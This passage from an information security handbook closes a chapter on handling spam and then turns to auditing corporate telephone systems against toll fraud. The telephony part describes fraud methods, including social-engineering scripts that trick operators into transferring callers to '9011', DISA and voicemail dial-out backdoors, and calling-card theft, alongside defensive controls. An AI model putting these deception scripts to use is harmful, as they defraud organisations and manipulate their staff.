(postal) mail advertising to the Internet. Long-time Internet standards prohibit unsolicited advertising by e-mail, and this is still the policy of most access providers. Spam advocates argue that this is an outmoded antimarketing stand that inhibits businesses from realizing the marketing benefits of the Internet. It is argued that advertising cannot be successful unless the advertiser can insert the message into the customer’s view. To reach a few buyers, the advertiser must impose the advertising message on many Internet users. Table 11.1 lists some of the arguments frequently given in favor of unsolicited bulk e-mail and some possible rebuttals against them. E-mail spamming is comparable to unsolicited fax advertising, a practice that is forbidden by law in the United States, unless the advertiser has a previous relationship with the recipient. This advertising method is proscribed because it costs the recipient in paper, toner, and equipment resources. Opponents of spam advertising often use technological retaliation to fight direct e-mailers; for example, they might send a “mail bomb” (a huge e-mail message) that can clog or even shut down a server. Because of intense opposition to the practice of spamming, bulk e-mailers often take steps to protect themselves. Some mailers insulate themselves by “spoofing,” or placing false e-mail addresses in the “From” headers of their messages. Some will move from one provider to another, setting up throw-away accounts as they go. They open an account, spam once, and then move to another account, knowing that the first provider will shut them down after receiving complaints from users and other providers. Most of the big spam businesses, however, own their own servers and full-time Internet connections, thus decreasing the likelihood that they will be shut down.
157
Spam Wars: How To Deal with Junk E-Mail
TABLE 11.1 Bulk E-Mail Advocates Versus Opponents The Spam Advocate Argues: Bulk e-mail is no different from direct mail marketing.
Bulk e-mail is no different from telemarketing.
Trying to stop bulk e-mail is a violation of the right to freedom of speech.
Direct e-mail is environmentally friendly, because it does not rely on turning trees into paper, as in print or mail advertising.
Direct e-mail works as a marketing method, so practitioners should be allowed to develop it.
The Spam Opponent Argues: The two are not comparable. The traditional direct mail marketer pays the entire cost of the advertising through postal fees, whereas the recipient pays about half the cost of e-mail. The advertising arrives “postage due.” Again, the telemarketing advertiser pays for the call. With e-mail, the recipient incurs a cost. Suppose telemarketers were to call collect? Would this practice be tolerated? Because of its potential for abuse, legal restrictions have been placed on telemarketing. The content of the message is not the primary issue. The issue is the method of delivery. Because the recipient is forced to pay the cost of delivery of e-mail, the recipient (or the recipient’s employer) has a right to try to prevent that delivery. Electronic mail and other Internet services rely on highly intensive industrial efforts. Viewed from the environmental perspective, could it really be said that the information infrastructure and computer industry are nonpolluting and do not consume scarce resources? The effectiveness of unsolicited bulk e-mail has not been studied extensively and is still unproven. Even so, should an advertising method be judged only on the basis of whether it makes money or not? How about ethical concerns?
Legitimate Bulk E-Mail Many Internet-enabled businesses have devised nonabusive applications of bulk e-mail advertising. The list is built by voluntary sign-up. The user subscribes by e-mail or at a Web site. This produces a targeted list of users who have asked to receive the material. Such a list might take one of several forms: • Classified commercial list for advertising products in a certain category • E-mail newsletter or “e-zine” • Company “announcement list,” to keep customers and prospects informed of company news, new products, and upgrades Such lists might be a useful resource for users, keeping them informed and in touch with vendors and their products and services and providing other valuable commercial information.
Reducing Exposure to Spam In all likelihood, Internet-abusive advertising will continue to increase. If e-mail spamming is a potential threat to an enterprise, it would be worthwhile for systems administrators to initiate implementing procedures that keep users off the spam lists. Most bulk e-mailers build their lists with programs that strip e-mail addresses from text. If the systems administrator can minimize the appearance of users’ e-mail addresses in easily available locations, this may help keep them off the lists. Participation in newsgroups and other electronic forums may be essential to the work of some users. Likewise, if a company is using a commercial online service, there may be some benefit to keeping the users’ e-mail addresses on the publicly available membership directory, but this kind of exposure ought to be examined anyway to ensure that users are not unnecessarily exposing themselves to e-mail harvesters. Many users post their e-mail addresses on their company’s World Wide Web site. The often-used “mail to:” HTML tag places an e-mail address in a prominent place on a publicly available Web page, which is in reality an easily parsed text document. True, it is desirable for Web visitors to be able to send e-mail to contacts within the company, but there is an easy work-around for this problem: Company e-mail
158
Information Security Management Handbook
addresses can be saved in an image file (e.g., .gif or .jpeg format) so only someone who actually visits the site personally can read the e-mail address. The image can be linked to an online form, where the visitor can send a message to the company contact. This is another strategy for minimizing spam exposure.
Spam Battle Plans To control the effects of Internet-abusive advertising, an organization should institute definite procedures and educate all Internet-connected employees. Here are some possible measures to take against unsolicited bulk e-mail: • Just delete the offending message. This is the solution most often recommended by advocates of bulk e-mail, as it does not interfere with their activities. If the mail system allows it, use e-mail filtering to delete messages from bulk e-mailers that can be identified. • Ask to be removed from the list. Most senders will comply. Some use automated removal systems. In the view of many Internet users, though, this amounts to caving in to the spammer’s Internetabusive tactics. • Complain to the sender and advertisers. Users should give them their opinion of this kind of advertising. They can boycott companies that advertise by e-mail spam. Some mailers will not care, but many individual advertisers have joined an e-mail scheme knowing little or nothing about the Internet and will respond positively to tactful complaints. • Complain to the postmaster ([email protected]) or administrator ([email protected] or [email protected]). Some larger Internet providers have a special department that can be reached at [email protected]. The user should send along a complete copy of the message, including all header information. Sometimes this tactic yields results, and sometimes not. It could be that the spammer and postmaster are one and the same. • Try to reach the service providers who provide Internet access upstream by tracing the message in reverse order. A “who is” search can divulge service provider contact information. Users can use the Web interface at http://rs.internic.net/cgi-bin/whois/. This kind of approach can put users in touch with people who have a stake in controlling e-mail spam — the Internet service providers. • Block Internet-abusive e-mail addresses and domains. Depending on the nature of the Internet connection, the user or access provider should be able to set up the system to refuse and bounce back any e-mail from a certain address or domain. Sometimes spammer and provider are one and the same. Some providers profit from spammers’ activities and intentionally harbor them, so some domains will not respond to complaints.
Retaliating Judiciously Some who are opposed to e-mail spamming have resorted to technological retaliation — tying up advertisers’ toll-free numbers, sending continuous faxes in the middle of the night, or sending mail bombs in an attempt to overload mailboxes and shut down systems. Mail bombs, however, are not necessary and qualify as harassment, which is illegal. If a spammer has been especially offensive, the offender will get enough single responses from individuals to achieve the same effect as a mail bomb. Likewise, the practice of “flaming” (i.e., sending abusive, insulting messages) will probably not accomplish much. Sometimes such a message will reach an innocent party or a clueless advertiser who has bought into a bulk e-mail scheme without really knowing what it is all about. Usually a firm but tactful complaint is the best approach. Some companies have threatened legal action against spammers or have sent them invoices for the time and resources consumed by their unsolicited advertising. Whether there is any merit in such claims has yet to be determined. Some large providers have landed in court over the spam issue. For example, America Online has been in court several times in a dispute with bulk e-mailer Cyber Promotions.
159
Spam Wars: How To Deal with Junk E-Mail
TABLE 11.2 Resources for Dealing with Unwanted E-Mail Advertising Resource
Web Address
Blacklist of Internet Advertisers
http://tinyurl.com/c7h2k
Fight Spam on the Internet!
http://spam.abuse.net
Infinite Ink’s Mail Filtering and Robots page Net-Abuse Frequently Asked Questions (FAQ)
Responding to unsolicited commercial e-mail (panix.com)
Description This site lists some of the most extreme Internet abusers, including some bulk e-mail senders. Also included are tips on dealing with unwanted commercial materials and suggestions for appropriate Internet advertising. This site provides technical resources and instructions for filtering, blocking, and limiting spam. This site includes strategies and resources for filtering and processing mail. This site includes questions and answers about spamming and other forms of Internet abuse, in addition to providing especially good instructions on how to identify spammers and lodge complaints with providers. Newsgroups dealing with Internet abuse (news.admin.net-abuse.misc). This site, sponsored by an ISP, furnishes guidelines for combating unwanted e-mail.
It has been debated whether or not the government should try to regulate e-mail advertising, but many Internet users do not welcome government involvement in Internet issues. Also, the Internet is an international network. No one government can claim authority over activities that take place over the Internet, and the effect of any government’s efforts is limited by national boundaries.
Spambuster Resources Table 11.2 offers a number of resources found on the Internet for dealing with unwanted e-mail advertising.
The Future of Spam? Regardless of efforts to stop their activities or to prevent them from mailing into company and institutional networks, bulk e-mail advertisers are not going to give up easily because the cost of sending e-mail is so low and the Internet audience is growing so quickly. The promise of big profits will spur on the spammers. One encouraging development is the growth of legitimate bulk e-mail services. Although the spammers have been getting most of the attention, many business persons have been quietly building up voluntary e-mail lists of highly qualified buyers who have actually requested commercial material. This kind of bulk e-mailing is bound to increase and thrive in the future. Those opposed to spam advertising are able to bring numerous forces to bear on the Internet abuser — complaints to the spammer’s access provider, resulting in termination of the spammer’s Internet account; mail bombing and other frontier justice sanctions; and even the threat of legal action. If it continues, the opposition to spammers’ activities is bound to affect their strategies. Already some bulk e-mailers are trying to develop “preference services” or “opt-out” lists of Internet users who do not want to receive e-mail advertising. Some bulk e-mailers even share their “do not mail” lists with each other in an effort to lessen the outcry against their methods.
160
Information Security Management Handbook
If the tide of unsolicited e-mail continues to rise, users will increasingly demand commercial and technological solutions, such as better e-mail filtering, to help them get control over incoming e-mail. Many users guard their e-mail addresses carefully to keep them out of public places where they can be stripped and added to a database. Over time, more innovative solutions will be developed, possibly even a security service that specializes in protecting networks from invasion by unwanted messages. In the meantime, network administrators and support personnel can minimize the extra costs and lost productivity caused by e-mail spamming by instituting company programs and policies. Some suggested elements of such a program might include: • Determining what kind of e-mail advertising will be tolerated from outside and what will not be tolerated • Devising procedures for users to follow when they receive spam e-mail • Devising a system for identifying repeat spammers and the domains from which they operate • Developing cooperative relationships with Internet providers and joining in with industry efforts to counteract the activities of e-mail spammers
12 Auditing the Telephony System: Defenses against Communications Security Breaches and Toll Fraud William A. Yarberry, Jr.
Introduction The theft of long-distance minutes is still fashionable with hackers. Organizations, particularly those without toll fraud insurance,1 may have significant losses and experience disruption of business telephone service as a result of telephone hacking. The Internet provides a plethora of telephony information allowing anyone so inclined to gain access to unprotected PBXs. A company’s vulnerability to threats varies by its size and business type. For example, businesses that frequently engage in intense international bidding may find themselves in competition with a government-owned organization. Because the government often owns the telephone company as well (PTT2), there is a temptation to share information by tapping the lines (all it takes is a butt set and knowing which trunks to tap into). While such occurrences are undoubtedly infrequent, they are a threat. Toll fraud, on the other hand, is ubiquitous. Hackers use stolen calling cards to find a vulnerable PBX anywhere in the world and then sell the number on the street (mostly for international calls). Poorly controlled voicemail options and DISA (direct inward system access) are “hacker attractor” features. Medium-sized installations are preferred because they offer enough complexity and trunking to allow hackers to get into the system and run up the minutes before detection. Smaller key system sites do not have the capacity, and larger sites often (but not always!) have toll fraud detection systems (such as Telco Research’s TRU Access Manager or ISI’s TSB TrunkWatch Service). Two characteristics of the telephone system enhance the hacker’s world of opportunity: (1) it is difficult to trace calls because they can be routed across many points in the system, and (2) hacking equipment is relatively inexpensive, consisting of a PC or even a dumb terminal hooked to a modem. Hackers (phone phreaks) sometimes have specific PBX training. They could be disgruntled PBX technicians (working for an end-user organization or the vendor). In addition to their technical background, hackers share explicit information over the Internet (e.g., www.phonelosers.org). These individuals have a large universe
161
162
Information Security Management Handbook
of opportunity; they hack for a while on a voice system, find its vulnerabilities, then wait for a major holiday, and go in for the kill. Losses of $100,000 over four days are common. If holes in one PBX have been plugged, they go on to another. In some cases, they use a breach in one PBX to transfer to another, even less secure PBX. The final category of security break, malicious pranks, gets inordinate attention from senior management — far beyond the economic damage usually incurred. For example, a voicemail greeting could be reprogrammed (just by guessing the password) to say “Hello, this is Mr. John Doe, CEO of XYZ Company. I just want you to know that I would never personally use any of XYZ’s products.” Of course, not all changes are minor. A clever hacker who obtains control of the maintenance port can shut down all outgoing calls or change a routing table — there is no end to the damage if the maintenance port is compromised.
Getting Started Before reviewing specific controls and technical parameters for the organization’s voice communications systems, the auditor should obtain the following background information: • Organizational structure of the telecommunications group, including: • Organization charts • Responsibilities and scope of duties (e.g., combined voice and data, portions of functions outsourced, and switches/locations for which they are responsible) • Policies and procedures, including modem use • Inventory of equipment, including model numbers; include voicemail, interactive voice response (IVR), computer telephony integration (CTI), fax servers, and other telephony servers • Power supplies • Handset inventory (types, date purchased) • Software inventory, including version numbers (PBX, servers, adjuncts such as voicemail and any middleware used for telephony) • Modem pools • System parameters and settings (e.g., classes of service, classes of restriction, DISA setting, trunkto-trunk permissions) • Specialized software for switch management (including computer telephony equipment and fraud detection systems) • Types and numbers of telephone calling cards • Trunk access and trunk types (e.g., business lines, direct inward dial, outbound) • Listing of User Datagram Protocol (UDP) ports used for IP telephony, if applicable • Direct inward dial (DID) blocks (the numbers that outside parties call to reach individuals or departments within the organization; some small organizations use non-DID trunking where outside parties call a main number and are transferred to specific parties)
Toll Fraud Examples Although the toll frauds listed below are fictitious, events like these occur frequently. The phone phreaker community is highly creative.
Event 1 • An employee (or someone with physical access to an employee’s phone) forwards his line to “9” or “9011” (local dial tone or the international operator, respectively). • Over a weekend, a hacker dials the organization’s numbers and detects a dial tone. • After discovery, the number is sold on the street in New York City. • $33,000 of international long-distance calls are made within 48 hours.
Auditing the Telephony System
163
Event 2 • A hacker calls an organization’s main number and reaches the company operator. • The hacker says, “Hi, I’m Bob with your local telephone company and I am trying to repair your lines. Please transfer me to extension 9011.” Operator transfers “Bob” to the requested number. • Hacker now has ability to place any desired international call, with little fear of detection. From the perspective of the organization’s long-distance carrier, the call is perfectly legitimate because it originates from the PBX. After collecting background information, the auditor should examine the following specific components of the voice infrastructure.
Class of Service Class of service is a level associated with each telephone extension that determines the features that can be used by that extension. Good security practice dictates that users have only the level of access and functionality they need to get their jobs done. Class of service and the functions associated with each level are implemented according to the requirements of each organization. To use an extreme example, class “01” might permit users to only receive local phone calls (no dial out), whereas class “25” might permit off-premises forwarding of international calls. The auditor should fully understand the capabilities of each class of service and who has been assigned to each class. See Table 12.1 for an example class of service “98” for an executive and “03” for a lobby telephone. Most PBXs can specify time of day and day of week so, for example, international calls can be restricted to business hours only. Specific higher risk features to be reviewed are listed below. Note that although these features are specific to a Siemens switch, they are generally applicable to other telephone switches. • Call forward external (CFE). CFE provides the ability to forward an extension to an outside number or to local dial tone. Employees use this feature to forward their own extension to an outside number. For example, a telecommuter might forward her extension to her house number, or a secretary may forward a hunt group to an outside answering service. (A hunt group is a series of telephone extensions set up in such a way that if the first line is busy, the second line is hunted and so on until a free line is found.) • Control of station features (CSF). CSF provides the ability to control features on a phone other than the one the employee is using. Using CSF, it is possible to override the class-of-service limits of another extension. For example, assume a user at extension 1111 has access to CSF as well as domestic and international long distance. Anyone would be able to use CSF from extension 1111 to take control of another extension. For this example, extension 1111 (equipped with access to CSF) takes control of extension 2222 (which is blocked from both domestic and international long distance). Using CSF, extension 1111 forwards extension 2222 to “9” or local dial tone. Anyone calling extension 2222 is immediately forwarded to the dial tone and can begin accessing long distance, although extension 2222 is blocked from doing this through class of service. Despite its high-risk properties, CSF cannot be summarily disconnected without appropriate discussion and transition within the organization. It has legitimate business uses. For example, CSF can forward employee extensions when they are away from their desk. Administrative assistants use CSF to forward hunt groups to voicemail or answering services. Help desks use CSF for night forwarding. The auditor should work with management to assess the risk versus benefit of this feature.
Long-Distance Authorization (Outgoing Calls) Domestic and international long-distance calling are essential to most businesses; however, the authority to perform these functions need not be available to all employees and extensions. For example, common areas, conference rooms, and workrooms have telephone extensions that cannot be linked to a single
Typical Profile for an Executive’s Extension, Class “98” Internal calls None Local calls None Domestic long distance High International long distance High Automatic camp on busy (ACB) None Always in privacy (APV) None Call forward external (CFE) High Call forward internal (CFI) None Camp on busy (CMP) None Conference call (COF) Medium Control of station feature (CSF) High Direct call pick up “pick” (DCP) None Direct trunk select (DTS) Medium Executive override (EOV) Medium No howler off-hook (NOW) None Private call (PIZV) None Save and repeat (SAV) None Station speed (SPD) None System speed call (SYC) None Trunk-to-trunk (TTT) High Voice dial call (VDC) None Typical Profile for a Lobby Extension, Class “03” Internal calls None Local calls None Call forward internal (CFI) None No howler off-hook (NOH) None Station speed call (SPD) None System speed override (SSO) Low System speed call (SYC) None
person for accountability. Techniques to reduce an organization’s exposure to unauthorized calls initiated from inside their premises are listed below: • Forced authorization codes (FACs). Any or all extensions can be assigned a forced authorization code. This parameter forces the user to enter a password for a domestic or international longdistance call. FACs can be used for common areas so unauthorized individuals have fewer opportunities to make long-distance calls from the premises. Implementation of FACs is a significant undertaking. Internal billing procedures must be changed and users must be educated. In addition, password changes must be made regularly. The auditor should help management evaluate the practicality and benefits of implementing this control. Note that FACs can be implemented piecemeal so the operational impact is limited. Some organizations have their long-distance carriers require authorization codes. Authorization codes serve a dual purpose by providing security and accounting information, because a cross-reference of authorization code to general ledger account can be established. • Restrictive class of service by location. Telephones in lobbies and other high-traffic areas can be restricted by class of service to eliminate domestic and international calls. Of course, if the control of station feature discussed previously is not adequately controlled, the value of this control is reduced.
Auditing the Telephony System
165
Voicemail The rich feature set that comes with the “standard configuration” of many voicemail packages provides a plethora of hacking opportunities. Many smaller organizations set up voicemail with default security parameters and leave them unchanged for years. Vendors do not always suggest appropriate security measures (particularly for small, low-profit voicemail systems). Hence, voicemail often serves as a lightning rod that takes hackers directly to the heart of the telephone system. Review the following controls to determine if they can be implemented in the voicemail system and if they are enforced. • Mandatory change of passwords. Many users set their passwords to be the same as their telephone’s extension. Voicemail should force password changes every 90 days and require at least six digits. If an unauthorized individual obtains access to an executive’s voicemail, the potential for disruption and embarrassment is significant. For example, a rude or obscene message could be forwarded from the executive’s voicemail box to any distribution list residing on his or her extension (press “1” to record, enter message, “*,” “#,” then send to any extension or distribution list desired). Of course, important or sensitive messages could also be deleted or forwarded to inappropriate parties. • Elimination of dial tone from voicemail. Some organizations, for convenience of their employees, have allowed the dial tone to be an option from voicemail. For example, an employee could dial her voicemail number at work, enter a code (which varies by PBX), key in a two-digit password, and receive an outside dial tone. From there, she can make long-distance or international calls. This easy backdoor is widely known among hackers. Usually, organizations provide this service via DISA (direct inward system access). DISA is often implemented to save money by allowing employees at home to make business calls using less expensive corporate rates (i.e., dial into the PBX, then dial out). However, it is much safer to issue business calling cards to employees who need to make long-distance calls from their homes or other off-site locations.
Trunk to Trunk (Tandeming) Trunks are major communication lines between two switching systems. For most organizations, trunks would connect their switch to the local telephone company (local exchange carrier or LEC). Incoming and outgoing voice and data traffic use separate trunks. Calls coming in on one trunk and going out on another trunk are called tandem calls. Tandeming has legitimate business uses. For example, employees may call their office and then transfer to a domestic or international phone number (eliminates the need to dial in calling card numbers, etc.). Also, if several parties are on a conference call, tandeming allows external parties (i.e., those outside the organization’s premises) to remain on the line after all on-premises parties have hung up. Hackers routinely use this feature to perpetrate toll fraud. If the organization has a toll-free 800 number for incoming calls, hackers can dial the 800 number to get access to building telephone numbers, seize an outgoing trunk, then talk as long as they wish. Generally, numbers are sold on the street so the victim organization is charged for calls to dozens of international locations, some of which have rates in the $2- to $3-per-minute range. Direct inward system access (DISA), if enabled, is probably the highest risk PBX feature. Available on many PBXs, DISA permits outside callers to dial the PBX, get a dial tone, and then dial out on another trunk. It is a convenience for local workers who are not in the building but want to make a long-distance call charged to their firm. Enabling DISA means that the firm is one password away from handing out free telephone service to the world. Trunk-to-trunk tandeming should be completely disabled. If it is retained, the organization has a considerably higher probability of being compromised.
Remote Access Ports Remote access ports provide dial-up access for technicians and analysts to complete switch maintenance and software changes (often performed by vendor personnel). Unfortunately, these access ports also
166
Information Security Management Handbook
provide an entry point for hackers (some of whom have had formal training in specific models of switches). The remote access port should be protected by a lengthy password. In addition, two other security options are available: • Use dial-back devices, such as Computer Peripheral Systems Challenger TT touch-tone authenticator for dial-up modems. Systems with these capabilities add security to any product or system with modem access by performing user authentication before completing the modem connection. They can be used to protect maintenance ports as well as PBX and voicemail systems. Typically, an additional security box is connected to the phone line and modem at the remote location to complete the user authentication. Increasingly, PBXs are maintained remotely via IP links; in those cases, well-known authentication methods, such as RADIUS, should be used. • Shut down ports manually and bring them up only during known maintenance periods (“air walling”). Although this technique is more labor intensive than an automated approach, it is effective. If the port is shut down, no one can get in. When emergency maintenance work is required, a technician must be on the premises to bring the port up and then shut it down after the work is complete. Like killing an ant with a hammer, it is a lot of effort, but it works.
Common Area Phones Telephones located in reception areas, conference rooms, and work/file rooms are vulnerable to hacking by both insiders and external parties. Long-distance calls should be programmatically blocked in these areas. In some cases, the organization will make a business decision to allow long-distance calling from common areas. If so, usage should be closely monitored. The highest risk comes from international calling capability.
Social Engineering One of the easiest ways for hackers to gain access to a telephone system is through social engineering. By asking employees to divulge seemingly innocent information or make a simple transfer, perpetrators obtain dial tone or key information they can use later. Examples of social engineering include: • Hacker calls an employee at random, says he dialed the wrong number, and asks the employee to please transfer him to John Smith at extension 9011. The employee makes the transfer, and the hacker is given an international operator. From the perspective of the international operator, the call is legitimate because it comes from the premises. The “9011” turns out to be “9” to get the external dial tone and “011” to reach the international operator. • An “employee” of a parcel delivery firm comes into the organization’s receiving area and has a package for Mr. X. No such person works there. Appearing irritated, the delivery man asks if he can use a telephone to talk to his boss. He has a lengthy, heated discussion about why he has been given bad directions, etc. Meanwhile, the call is to a previously set up local number that charges $2 per minute for access. Note: check with the local telephone company to determine if there are local toll numbers. If so, they should be blocked by the switch. • Pager scam is a variation on the technique above. An individual sets up a toll number and then sends out pages to as many individuals as possible. When they call the number listed, someone attempts to keep them on the line to run up the bill. • Hacker calls executive Y. Her administrative assistant answers the call. “This is Mr. Smith, is Y in?” “No, may I take a message?” “No, I’ll just call back later but would you mind transferring me to the operator?” (After reaching the operator, the hacker pretends to be Y and the operator sees Y’s extension.) “Operator, this is Y. I’m having trouble reaching Bogotá; would you please dial the number for me?”
Auditing the Telephony System
167
• An employee receives a call from “John Smith” who says he is an FBI agent tracking an individual whom the FBI suspects is perpetrating telephone fraud. Smith says that if the employee receives a call from “John Doe” to note the time and date, but to transfer Doe to any extension he asks and then notify the FBI. Sure enough, John Doe calls, gets the outside dial tone, and the organization gets the bill. A variation on this technique is for the hacker to pretend to be from the telephone company. • An employee receives a call from someone purporting to be from one of the major long-distance carriers. The hacker says he is with security and suspects illegal activity with the card. He needs the card number and PIN to ensure that he is talking to the correct owner.
Calling Card Fraud Many organizations issue telephone calling cards that employees use for business communications. There are several techniques used by miscreants to steal card numbers and PINs: • Surveillance at airports and hotels. Hackers use video cameras as well as trained observers to obtain calling card numbers. Once obtained, the numbers are sold on the street and used quickly. This technique is called “shoulder surfing” and can be thwarted by keeping the cards in a hardto-read position or, better yet, memorizing the numbers. Users should dial quickly to make it more difficult to capture the numbers. • Use of speed dialing on cellular telephones. Although it is convenient for employees to put their calling card number into the cell phone as a speed dial, if the phone is stolen the thief has both the cell phone and the calling card number. At least the PIN should be dialed separately.
Other Hacker Techniques Toll fraud seems to spur pernicious creativity. Following are other schemes that have been used: • Call diverters. These are devices that allow hackers to obtain a dial tone after a called party hangs up but before the disconnect is complete. • Dumpster diving. Hackers obtain switch and security information by browsing through an organization’s trash cans. The goal of this time-honored technique is to find telephone numbers in company directories, old invoices, etc. Such information adds legitimacy to social engineering penetrations.
Business Loss Due to Disclosure of Confidential Information Some organizations have found their bids for projects coming in at just above the competition on a consistent basis. This could be due to coincidence or unauthorized disclosure. It is always a concern when sensitive information is passed over wires or air space. Following are some techniques for securing confidential voice transmissions: • Use a scrambling device such as Secure Logix’s Telewall, which has built-in encryption capability (the same device is required on both ends). The advantage of a trunk rather than handset-based approach is that the entire office or plant can be set up for encrypted conversations, assuming the other end (e.g., headquarters or a sister location) has a Telewall as well. The Motorola KG-95 also encrypts at the trunk level, unlike the older AT&T Surity 3600, which encrypts only from one handset to another. These devices, which enable point-to-point and multiple-party encryption, protect the conversation from origin to destination (i.e., no intermediate points of clear conversation). Faxes can be protected as well. They typically have a secure/non-secure button that allows the telephone to be used in either mode, as required.
168
Information Security Management Handbook
• Use IP encryption if the voice conversation is converted to IP traffic before transmission beyond the premises. The Borderguard NetSentry devices, for example, use DES (Data Encryption Standard), 3DES (triple DES), and IDEA (International Data Encryption Algorithm) to scramble any data going across the wire. Note that, with the increasing power of microchips, it is much easier for determined hackers (or governments) to break codes. The following quote, found on an Internet security page (http://www.jumbo.com/pages/utilities/dos/ crypt/sfs110.zip.docs.htp), illustrates how quickly algorithms once thought secure have become as antiquated as iron safes: RE: Use of insecure algorithms designed by amateurs. These include the algorithms used in the majority of commercial database, spreadsheet, and word processing programs such as Lotus 123, Lotus Symphony, Microsoft Excel, Microsoft Word, Paradox, Quattro Pro, WordPerfect, and many others. These systems are so simple to break that the author of at least one package which does so added several delay loops to his code simply to make it look as if there was actually some work involved. • Use an enterprisewide dialing plan to ensure that all calls go through the least-cost route. Calls that go over leased lines (tie lines) are easier to secure than calls going over the public switched telephone network. Encryption equipment can be placed at both ends and the voice traffic can be converted to IP. Typically, dialing plans are implemented to facilitate ease-of-use for employees as well as least-cost routing; however, they also increase (at least to some extent) security. A dialing plan is implemented by making changes to every PBX in the organization’s network so the user dials the same number to reach an individual, regardless of the location from which the call is made. For example, if Mary Doe’s number is 789-1234 and she is located in a Memphis, TN, office, then she can be reached from London or Sydney by dialing 789-1234 (with no preceding country codes, etc.); the PBX has all the logic built in to convert the numbers to the appropriate route. A dialing plan also has the side benefit of increasing contact between the telecom staffs of various locations, resulting in an exchange of security information.
Voice over IP Security With the proliferation of Voice over IP (voice-data convergence), new defenses are required. Because VoIP is a packet-based technology (i.e., in the data world), it must typically go through a firewall or outside the firewall. Either solution is less than desirable from a security perspective because it opens up the network to hacker attack on the VoIP gateway. One company, Quintum Technologies (www.quintum.com), has developed a solution (NATAccess) that gets around the problem, allowing only authorized traffic to pass through the firewall. According to Quintum Technologies, “It is now possible for systems administrators to deploy VoIP quickly, easily, and securely, without making major changes to their existing network infrastructure, or compromising their network integrity.” Others will undoubtedly develop similar capabilities. IP-based video conferencing can have similar security concerns. In the January 2002 issue of Internet Telephony, Robert Vahid Hashermian noted that Microsoft’s NetMeeting product has the following (rather technical) requirements, as noted in the Microsoft consulting NetMeeting site: To establish outbound NetMeeting connections through a firewall, the firewall must be configured to do the following: • Pass through primary TCP connections on ports 389, 522, 1503, 1720, and 1731. • Pass through secondary TCP and UDP connections on dynamically assigned ports (1024–65535). The net effect of the above is to bypass the firewall and expose one’s workstation to the world. This is an example of a generic risk that requires the attention of anyone planning widespread implementation of videoconferencing. The old circuit-switched (nailed-up circuit) videoconferencing did not have these exposures.
Auditing the Telephony System
169
Automated Fraud Detection Systems Without automated tools, it is difficult to detect toll fraud in real-time. Often, hundreds of minutes of long distance are stolen before the toll fraud is identified. Common carriers (e.g., AT&T, MCI, and Sprint) have sophisticated algorithms that detect toll fraud, but relying on their systems has two disadvantages: (1) they do not know your organization’s business and cannot detect fraudulent patterns at a fine granularity — only when the gross level of activity exceeds some generic threshold; and (2) on holidays, weekends, and off-hours, it may be some time before the right person can be reached. If an organization has its own, tailored fraud detection system, toll fraud can be identified more quickly and responses can be set up in advance (e.g., paging alerts to designated technicians). Fraud detection systems generally use call detail records (CDRs) to detect fraudulent traffic patterns as they occur. Alarms can be sent to a pager, PC, or other device. Customized alarm activation can be set up based on a number of parameters that are customer defined. A full-featured package should issue alarms for the following conditions: Authorization codes — User-set threshold for excessive calls Station abuse — User-set threshold for excessive calls After-hours calls — User-defined hours for normal and after-hours calls Dialing patterns — User-selected specific area codes or specific numbers (e.g., 1-900-xxx-xxxx numbers) • International calls — User-set threshold for excessive calls • Unassigned stations — Alerts when these stations or codes are used • Trunk group calls — User-selected threshold for particular trunk groups • • • •
The more thought that goes into setting up the alarm patterns, the more effective the fraud detection software can be. If, for example, the organization makes infrequent international calls, and then only to a few countries, that information can be entered into the system. Unusual patterns (e.g., an abrupt increase in the number of calls to high fraud probability countries) could trigger an alarm. Other useful functions of a telephony abuse package include: • Reports on calls to 911. • Monitors for long-duration calls. Call duration limits can be set individually for local and longdistance calls. When the duration of a call session exceeds a preset threshold, a page or alarm is generated. • Examines operator-assisted calls. Operator-assisted calls that exceed a preset threshold generate alarms. • Reports directory assisted calls that are suspiciously lengthy. Reports calls to specific (predefined) numbers, exchanges, area codes, country codes, and city codes. Exceptions (i.e., known and valid exchanges) can be programmed so false alarms are not generated. • Generates alarms for “payment required” calls to 900, 976, and 800 bill-back numbers.
PBX Firewall Standard PBX security capabilities can be significantly enhanced by a PBX firewall. These devices have the ability to manage the voice enterprise network security functions and set rules without going through the awkward security structures that make up the traditional PBX security system.3 The PBX firewall, when properly configured, will plug many of the security gaps in the voice network. Although the following discussion of capabilities and related issues is based specifically on SecureLogix’s TeleWall product (www.securelogix.com), the general principles will apply to any full-featured PBX firewall. Specific capabilities include: • Call type recognition. The firewall has the capability to recognize the traffic, including voice, fax, modem, STU-III (Secure Telephone Unit, third generation), video, unanswered, and busy.
170
Information Security Management Handbook
• Rule-based security policy. Policies can be constructed by building individual rules in a manner similar to industry-standard IP firewall rule creation. Policies are physically set using logical (GUI) commands across any combination of phone stations or groups. • Rule-based call termination. Rules can be configured to automatically terminate unauthorized calls without direct human intervention. For example, assume an internal number, 281-345-1234, is assigned to a fax machine. An employee decides he needs a modem connection. Rather than going through procedures, he disconnects the fax line and uses it for his modem link. As soon as modem traffic is detected on the line, a rule is invoked that terminates the call — within a second or two. • Complex rule creation. Rules should be flexible enough to fit business needs. For example, fax machines often have telephones that can be used to call the receiving party to ensure that the fax was received or to exchange some other brief information (and sometimes to help enter codes). The rules associated with that analog line could allow fax traffic for any reasonable duration, prohibit modem traffic altogether, and allow a voice call to last only five minutes. • Centralized administration. The firewall should be capable of multiple-site links so rules can be administered across the enterprise. • Real-time alerts. Rule violations can trigger a variety of messages, such as e-mail, pager, and SNMP security event notification. Assume, for example, that highly sensitive trade secrets are a part of the organization’s intellectual assets. Calls from anywhere in the enterprise to known competitors (at least their published telephone numbers) can be monitored and reported in a log or in realtime. More commonly, employees may occasionally dial up their personal ISP to get sports news, etc. during the day, as sports and other non-work-related sites are blocked by their firm’s IP firewall. Calls to local ISP access numbers can be blocked or at least flagged by the PBX firewall. This is more than an efficiency issue. A PC on the network that is dialed into an ISP links the outside world to the organization’s IT resources directly, with no IP firewall protection. • Stateful call inspection. Call content can be continuously monitored for call-type changes. Any change is immediately logged and the call is again compared to the security policy. • Dial-back modem enforcement. Security policies can be used to enforce dial-back modem operation. • Consolidated reporting of policy violations. By summarizing the output of multiple PBX firewalls, management can see any overall patterns of security violations, ranging from hacker attacks on specific sites to employee attempts to dial inappropriate, premium-900 numbers or country codes not relevant to the business. Although it may have an Orwellian flavor to it, the use of word spotting is certainly a possibility for the future. The PBX firewall could be programmed to look for specific words such as “bomb” or “cocaine” or “project xyz” (a top-secret project). The chips inside the PBX firewall are powerful and fully capable of recognizing selected words. Such practices, if they are adopted commercially in the future, will undoubtedly require thorough legal review and strict policies for use.
